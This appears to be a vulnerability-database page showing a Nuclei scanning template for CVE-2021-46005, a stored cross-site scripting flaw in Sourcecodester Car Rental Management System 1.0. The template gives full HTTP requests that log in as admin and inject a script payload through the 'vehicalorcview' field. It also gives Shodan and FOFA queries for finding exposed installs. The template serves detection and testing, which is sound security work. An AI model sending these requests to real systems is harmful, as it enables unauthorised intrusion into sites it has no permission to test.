| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
| CVE-2021-46005 | 18 Jan 202218:15 | – | attackerkb | |
| CVE-2021-46005 | 18 Jan 202220:24 | – | circl | |
| Sourcecodester Car Rental Management System 跨站脚本漏洞 | 18 Jan 202200:00 | – | cnnvd | |
| Sourcecodester Car Rental Management System跨站脚本漏洞 | 20 Jan 202200:00 | – | cnvd | |
| CVE-2021-46005 | 18 Jan 202217:35 | – | cve | |
| CVE-2021-46005 | 18 Jan 202217:35 | – | cvelist | |
| EUVD-2021-32711 | 3 Oct 202520:07 | – | euvd | |
| CVE-2021-46005 | 18 Jan 202218:15 | – | nvd | |
| CVE-2021-46005 | 18 Jan 202218:15 | – | osv | |
| Cross site scripting | 18 Jan 202218:15 | – | prion |
id: CVE-2021-46005
info:
name: Sourcecodester Car Rental Management System 1.0 - Stored Cross-Site Scripting
author: cckuailong
severity: medium
description: Sourcecodester Car Rental Management System 1.0 is vulnerable to cross-site scripting via the vehicalorcview parameter.
impact: |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the application, leading to the execution of arbitrary code or theft of sensitive information.
remediation: |
To remediate this issue, it is recommended to implement proper input validation and sanitization techniques to prevent the execution of malicious scripts.
reference:
- https://www.exploit-db.com/exploits/49546
- https://nvd.nist.gov/vuln/detail/CVE-2021-46005
- https://www.sourcecodester.com/cc/14145/online-car-rental-system-using-phpmysql.html
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score: 5.4
cve-id: CVE-2021-46005
cwe-id: CWE-79
epss-score: 0.02915
epss-percentile: 0.85269
cpe: cpe:2.3:a:car_rental_management_system_project:car_rental_management_system:1.0:*:*:*:*:*:*:*
metadata:
max-request: 3
vendor: car_rental_management_system_project
product: car_rental_management_system
shodan-query: http.html:"car rental management system"
fofa-query: body="car rental management system"
tags: cve2021,cve,sourcecodester,authenticated,edb,xss,intrusive,car_rental_management_system_project,vuln
http:
- raw:
- |
POST /admin/ HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Connection: close
username={{username}}&password={{password}}&login=
- |
POST /admin/post-avehical.php HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypWqYipqU21aYgccv
------WebKitFormBoundarypWqYipqU21aYgccv
Content-Disposition: form-data; name="vehicletitle"
Test
------WebKitFormBoundarypWqYipqU21aYgccv
Content-Disposition: form-data; name="brandname"
1
------WebKitFormBoundarypWqYipqU21aYgccv
Content-Disposition: form-data; name="vehicalorcview"
</script><script>alert(document.domain)</script>
------WebKitFormBoundarypWqYipqU21aYgccv
Content-Disposition: form-data; name="priceperday"
500
------WebKitFormBoundarypWqYipqU21aYgccv
Content-Disposition: form-data; name="fueltype"
Petrol
------WebKitFormBoundarypWqYipqU21aYgccv
Content-Disposition: form-data; name="modelyear"
2022
------WebKitFormBoundarypWqYipqU21aYgccv
Content-Disposition: form-data; name="seatingcapacity"
5
------WebKitFormBoundarypWqYipqU21aYgccv
Content-Disposition: form-data; name="img1"; filename="test.png"
Content-Type: image/png
------WebKitFormBoundarypWqYipqU21aYgccv
Content-Disposition: form-data; name="img2"; filename="test.png"
Content-Type: image/png
------WebKitFormBoundarypWqYipqU21aYgccv
Content-Disposition: form-data; name="img3"; filename="test.png"
Content-Type: image/png
------WebKitFormBoundarypWqYipqU21aYgccv
Content-Disposition: form-data; name="img4"; filename="test.png"
Content-Type: image/png
------WebKitFormBoundarypWqYipqU21aYgccv
Content-Disposition: form-data; name="img5"; filename=""
Content-Type: application/octet-stream
------WebKitFormBoundarypWqYipqU21aYgccv
Content-Disposition: form-data; name="submit"
------WebKitFormBoundarypWqYipqU21aYgccv--
- |
GET / HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- </script><script>alert(document.domain)</script>
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
# digest: 4b0a00483046022100cb664b21040ee79e9549227f11d2bc01e529c41132706c745f704a8177b4ae06022100e335ba858e1f7d85486e3dbf17775a8a21be9a299871190d3e17b5ac7b1e36e3:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation